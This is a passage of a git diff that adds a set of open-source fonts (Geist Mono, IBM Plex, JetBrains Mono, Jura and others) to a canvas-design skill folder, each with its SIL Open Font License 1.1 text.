FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf b/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf new file mode 100644 index 00000000..8bd91d11 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf b/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf new file mode 100644 index 00000000..736ff7c3 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt b/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt new file mode 100644 index 00000000..679a685a --- /dev/null +++ b/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf b/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf new file mode 100644 index 00000000..1a30262a Binary files /dev/null and b/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Gloock-OFL.txt b/skills/canvas-design/canvas-fonts/Gloock-OFL.txt new file mode 100644 index 00000000..363acd33 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Gloock-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf b/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf new file mode 100644 index 00000000..3e58c4e4 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf b/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf new file mode 100644 index 00000000..247979ca Binary files /dev/null and b/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt b/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt new file mode 100644 index 00000000..e423b747 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright © 2017 IBM Corp. with Reserved Font Name "Plex" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf b/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf new file mode 100644 index 00000000..601ae945 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf new file mode 100644 index 00000000..78f6e500 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf new file mode 100644 index 00000000..369b89d2 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/IBMPlexSerif-BoldItalic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf new file mode 100644 index 00000000..a4d859a7 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Italic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf new file mode 100644 index 00000000..35f454ce Binary files /dev/null and b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf new file mode 100644 index 00000000..f602dcef Binary files /dev/null and b/skills/canvas-design/canvas-fonts/InstrumentSans-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf new file mode 100644 index 00000000..122b2730 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/InstrumentSans-BoldItalic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf new file mode 100644 index 00000000..4b98fb8d Binary files /dev/null and b/skills/canvas-design/canvas-fonts/InstrumentSans-Italic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt b/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt new file mode 100644 index 00000000..4bb99142 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf b/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf new file mode 100644 index 00000000..14c6113c Binary files /dev/null and b/skills/canvas-design/canvas-fonts/InstrumentSans-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf b/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf new file mode 100644 index 00000000..8fa958d9 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/InstrumentSerif-Italic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf b/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf new file mode 100644 index 00000000..97630318 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/InstrumentSerif-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Italiana-OFL.txt b/skills/canvas-design/canvas-fonts/Italiana-OFL.txt new file mode 100644 index 00000000..ba8af215 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Italiana-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2011, Santiago Orozco (hi@typemade.mx), with Reserved Font Name "Italiana". + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf b/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf new file mode 100644 index 00000000..a9b828c0 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Italiana-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf b/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf new file mode 100644 index 00000000..1926c804 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/JetBrainsMono-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt b/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt new file mode 100644 index 00000000..5ceee002 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf b/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf new file mode 100644 index 00000000..436c982f Binary files /dev/null and b/skills/canvas-design/canvas-fonts/JetBrainsMono-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Jura-Light.ttf b/skills/canvas-design/canvas-fonts/Jura-Light.ttf new file mode 100644 index 00000000..dffbb339 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Jura-Light.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Jura-Medium.ttf b/skills/canvas-design/canvas-fonts/Jura-Medium.ttf new file mode 100644 index 00000000..4bf91a33 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Jura-Medium.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Jura-OFL.txt b/skills/canvas-design/canvas-fonts/Jura-OFL.txt new file mode 100644 index 00000000..64ad4c67 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Jura-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the 